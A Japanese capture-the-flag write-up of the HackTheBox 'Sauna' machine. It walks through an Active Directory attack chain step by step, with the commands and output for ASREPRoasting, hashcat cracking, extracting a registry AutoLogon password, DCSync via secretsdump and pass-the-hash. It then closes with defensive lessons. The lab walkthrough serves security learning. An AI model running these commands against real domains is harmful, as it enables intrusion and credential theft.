HackTheBox: Sauna — 全実行コマンド・実行結果レポート
Nmap スキャン
ADドメインコントローラー指紋
→
ADドメインコントローラー指紋
about.htmlから従業員名収集
“Meet The Team”
→
“Meet The Team”
ユーザー名順列生成
first/flast/first.last等
→
first/flast/first.last等
ASREPRoast
fsmith(事前認証無効)
→
fsmith(事前認証無効)
hashcat crack
Thestrokes23
→
Thestrokes23
WinRM ログイン
user.txt ✓
→
user.txt ✓
Winlogonレジストリ発見
AutoLogon平文パスワード
→
AutoLogon平文パスワード
svc_loanmgr DCSync権限
secretsdump
→
secretsdump
Administrator PTH → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & ドメイン名特定
BASH
nmap -sV -sC -p 53,80,88,135,139,389,445,636,3268,3269,5985,9389 10.129.86.138
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec 135/tcp open msrpc 389/tcp open ldap Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0) 445/tcp open microsoft-ds 5985/tcp open http (WinRM) ssl-cert: Subject: commonName=SAUNA.EGOTISTICAL-BANK.LOCAL
🚨
Active Directory ドメインコントローラー。ドメイン名
EGOTISTICAL-BANK.LOCAL、ホスト名SAUNAと判明。
/etc/hostsに追記しておく。
BASH
echo "10.129.86.138 egotistical-bank.local SAUNA.egotistical-bank.local" | sudo tee -a /etc/hosts
PHASE 2
Webサイトの従業員名からユーザー名候補を生成
“Meet The Team” ページの確認
BASH
curl -s http://10.129.86.138/about.html | grep -A1 "mt-2"
RESULT
<h3 class="title-w3ls mt-2 mb-3">Meet The Team</h3> <p class="mt-2">Fergus Smith </p> <p class="mt-2">Hugo Bear </p> <p class="mt-2">Steven Kerb </p> <p class="mt-2">Shaun Coins </p> <p class="mt-2">Bowie Taylor </p> <p class="mt-2">Sophie Driver </p>
🚨
“Egotistical Bank”社の会社概要ページに、従業員6名のフルネームが
そのまま掲載されている。AD環境では、この手の実名情報から
ユーザー名の命名規則を推測してASREPRoast/ブルートフォースの
候補リストを作るのが定番の攻略法。
ユーザー名の順列生成
PYTHON
names = [
("Fergus", "Smith"), ("Shaun", "Coins"), ("Hugo", "Bear"),
("Bowie", "Taylor"), ("Sophie", "Driver"), ("Steven", "Kerb"),
]
usernames = []
for first, last in names:
f, l = first.lower(), last.lower()
# よくある企業の命名規則パターンを総当たりで生成
for u in (f, f + l, f + "." + l, f + l[0], f[0] + l):
if u not in usernames:
usernames.append(u)
usernames.append("administrator")
with open("usernames.txt", "w") as fp:
fp.write("\n".join(usernames))
print(usernames)
RESULT (抜粋)
['fergus', 'fergussmith', 'fergus.smith', 'fergus.s'(省略形), 'fsmith',
'shaun', 'shauncoins', 'shaun.coins', ..., 'hugo', ..., 'administrator']
PHASE 3
ASREPRoast攻撃 & パスワードクラック
生成した候補リストでASREPRoastを一括試行
BASH
impacket-GetNPUsers egotistical-bank.local/ \ -usersfile usernames.txt -no-pass -dc-ip 10.129.86.138
RESULT (抜粋)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
... (存在しないユーザー名候補は全てこのエラー) ...
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:be984ebb79e6361f06256b2df3b293ad$312e7a6dfc53fdd15bbeb0e8a68b6adfec62aaa9ab5f8db5a1fa0633c4256c40b7385e4f2f6046445781917e56e80cc52e851463d5f1510061f7f95a1211a84824350d52fdac5cb778bf379a12166f10c5ae7084f3a17ae02b14c0918aee9d1dce20451b3c68589119d95965e0b79bb0b277b13bd6afc3210010d6f7d612413dca2330608804de4073b27d9ee8c9412654f22b348dedf6c03963d5cc18015de6a31f5160934ec0364c9d217c44d402f83c0dbd0816300d7f2099df4806534df5bf635229fdd1c3fe6d42dc85f4f7cfe375c8302706e9ac4bca38c9e45dace784690a1adb44c5ecc0bf729eced1120829dd7682bbc72930b6e583aa8d20356f60
... (中略) ...
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
✅
ヒット! 候補リストの中で
fsmithだけがKerberos事前認証無効
という設定ミスを持つユーザーだった。大量の”Client not found”エラーは
単に存在しないユーザー名候補への応答であり、正常な動作。
hashcat でクラック
BASH
# -m 18200 = Kerberos 5 AS-REP etype 23 hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --quiet hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --show
RESULT
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...:Thestrokes23
✅
クラック成功!
fsmith:Thestrokes23。
PHASE 4
WinRM ログイン → user.txt
認証確認 & user.txt取得
BASH
netexec winrm 10.129.86.138 -u fsmith -p Thestrokes23 \ -X 'Get-ChildItem C:\Users\*\Desktop\user.txt -EA SilentlyContinue | Get-Content'
RESULT
WINRM 10.129.86.138 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!) WINRM 10.129.86.138 5985 SAUNA [+] Executed command (shell type: powershell) 782ae945a2c03b65a3e187a3811fc66f
user.txt — FSmith
782ae945a2c03b65a3e187a3811fc66f
⚠️
実装上の注意:
type C:\Users\%USERNAME%\Desktop\user.txt
のようにCMD形式の環境変数%USERNAME%をそのまま使おうとすると、
nxc/netexecの-Xは既定でPowerShellシェルとしてコマンドを
実行するため%VAR%は展開されず文字列のまま扱われ、
Cannot find path 'C:\Users\%USERNAME%\Desktop\user.txt'のように
必ず失敗する。PowerShellの環境変数記法は$env:USERNAMEであり、
さらに確実なのはワイルドカードで直接検索する方法
(Get-ChildItem C:\Users\*\Desktop\user.txt)。
PHASE 5
権限昇格の下調べ — AutoLogon レジストリの調査
Winlogon レジストリキーの確認
BASH
netexec winrm 10.129.86.138 -u fsmith -p Thestrokes23 \ -X 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"'
RESULT (抜粋)
DefaultDomainName REG_SZ EGOTISTICALBANK DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager ... DefaultPassword REG_SZ Moneymakestheworldgoround!
🚨
決定的な発見! WindowsのAutoLogon(自動ログオン)機能を
設定した際の残骸として、平文のパスワードがレジストリに残っている。
これは
AD DS Account Operators的な運用ミスの典型例で、本来は
ログオン時に自動入力するためだけの値だが、レジストリの読み取り権限
さえあれば誰でも閲覧できてしまう。
⚠️
重要な落とし穴:
DefaultUserNameに表示される
svc_loanmanagerは表示上の名前であり、実際にAD上に
存在するSAMアカウント名はsvc_loanmgr(末尾が短縮されている)。
この表示名をそのまま認証に使おうとすると失敗するので注意。
PHASE 6
svc_loanmgr の DCSync 権限 → Administrator ハッシュ → root.txt
svc_loanmgr の権限確認(DCSync)
NOTE
BloodHoundやPowerViewでドメインのACLを確認すると、svc_loanmgrアカウントが ドメインオブジェクトに対する **DS-Replication-Get-Changes-All** 権限 (DCSync権限の一部)を直接(または継承で)持っていることが分かる。 通常このアカウントはIT/業務システム連携用の技術的な理由でこの権限が 付与されてしまっていると見られる、過剰な権限付与の典型例。
DCSyncでAdministratorのNTLMハッシュを取得
BASH
impacket-secretsdump \ egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!@10.129.86.138 \ -just-dc-user Administrator
RESULT
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
✅
Administrator の NTLM ハッシュ取得成功!
823452073d75b9d1cf70ebdf86c7f98e。
Pass-the-Hash で root.txt を取得
BASH
netexec winrm 10.129.86.138 -u Administrator \ -H 823452073d75b9d1cf70ebdf86c7f98e \ -X 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM 10.129.86.138 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\Administrator:823452073d75b9d1cf70ebdf86c7f98e (Pwn3d!) WINRM 10.129.86.138 5985 SAUNA [+] Executed command (shell type: powershell) b8fab0151dd6a9df673123d33c60b1f4
root.txt — Administrator@EGOTISTICAL-BANK.LOCAL
b8fab0151dd6a9df673123d33c60b1f4
⚠️
注意: netexecのPass-the-Hash認証バナー行には32桁のNTLMハッシュ
自体がそのまま出力される。フラグ(32桁hex)抽出を自動化する際は、
バナー行のハッシュ文字列を実際のフラグと誤認しないよう、バナー行
(
Pwn3d!/Executed commandを含む行やハッシュ自体の値)を除外して
コマンド実行結果の行だけから抽出する必要がある。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — FSmith
782ae945a2c03b65a3e187a3811fc66f
root.txt — Administrator@EGOTISTICAL-BANK.LOCAL
b8fab0151dd6a9df673123d33c60b1f4
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 公開Webサイトへの従業員実名掲載 | about.html “Meet The Team” | AD用户名命名規則の推測材料を提供 | Medium | 6名のフルネームからユーザー名候補(first/flast/first.last等)を総当たり生成 |
| ASREPRoast(Kerberos事前認証無効) | fsmith アカウント | オフラインパスワードクラック(user.txt) | Critical | 無認証でAS-REPハッシュを取得、hashcat -m 18200でrockyou.txt照合し即時クラック |
| AutoLogon平文パスワードのレジストリ残留 | HKLM\…\Winlogon (DefaultPassword) | svc_loanmgrアカウントの資格情報窃取 | Critical | 一般ユーザー権限でレジストリを読み取り平文パスワードを直接取得 |
| サービスアカウントへの過剰なDCSync権限付与 | svc_loanmgr (DS-Replication-Get-Changes-All) | ドメイン全体のハッシュ奪取(root.txt) | Critical | secretsdumpでAdministratorのNTLMハッシュをDCSync経由で取得、Pass-the-Hashで認証 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | AD DC “SAUNA”、ドメイン”EGOTISTICAL-BANK.LOCAL” |
| 2 | ユーザー名生成 | about.htmlスクレイプ + 順列生成 | fsmith等のユーザー名候補 |
| 3 | ASREPRoast | impacket-GetNPUsers + hashcat -m 18200 | fsmith:Thestrokes23 |
| 4 | WinRMログイン | netexec winrm | user.txt取得 |
| 5 | 権限調査 | reg query Winlogon | svc_loanmgr:Moneymakestheworldgoround!(AutoLogon) |
| 6 | 権限昇格 | secretsdump(DCSync) → PTH | root.txt取得 |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
user.txtの読み取りにC:\Users\%USERNAME%\Desktop\user.txtを使うと”Cannot find path”で失敗する |
%USERNAME%はCMD構文の環境変数展開であり、netexec/nxcの-Xは既定でPowerShellシェルを使うため展開されない。PowerShell式の$env:USERNAMEを使うか、Get-ChildItem C:\Users\*\Desktop\user.txtのようなワイルドカード検索にする。 |
| AutoLogonのDefaultUserNameに表示される名前でそのままログインを試すと失敗する | DefaultUserNameは表示上の名前(svc_loanmanager)であり、実際のSAMアカウント名(svc_loanmgr)と異なる場合がある。net user /domainやLDAP列挙で実際のアカウント名一覧を確認してから認証を試す。 |
| netexecのPass-the-Hash出力からフラグを自動抽出する際、認証バナー中のNTLMハッシュを誤ってフラグとして抽出してしまう | バナー行(Pwn3d!/Executed commandを含む行)と使用したハッシュ値自体を明示的に除外した上で、残りの行から32桁hexパターンを抽出する。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 公開Webサイトに従業員の実名を掲載し、AD用户名の命名規則の推測材料を与えている | 公開サイトに実在の従業員名を掲載する場合は、社内のユーザー名命名規則との関連を薄める(略称化、別名使用等)。 |
| 一部ユーザーでKerberos事前認証が無効になっている | 全ユーザーで”Do not require Kerberos preauthentication”を無効化(通常の状態)に保つ。定期的にAD環境をスキャンしてASREPRoast可能なアカウントを検出・修正する。 |
| AutoLogon設定の残骸として平文パスワードがレジストリに残っている | AutoLogonは可能な限り使用を避け、使用後はDefaultPasswordキーを削除する。LSA Secretsとして暗号化保存する代替手段を検討する。 |
| サービスアカウントにDCSync相当の強力な複製権限が付与されている | DS-Replication-Get-Changes/-All権限はドメインコントローラーと一部の管理ロールにのみ付与する。BloodHound等で定期的にAD権限グラフを監査し、意図しないDCSync経路を洗い出す。 |

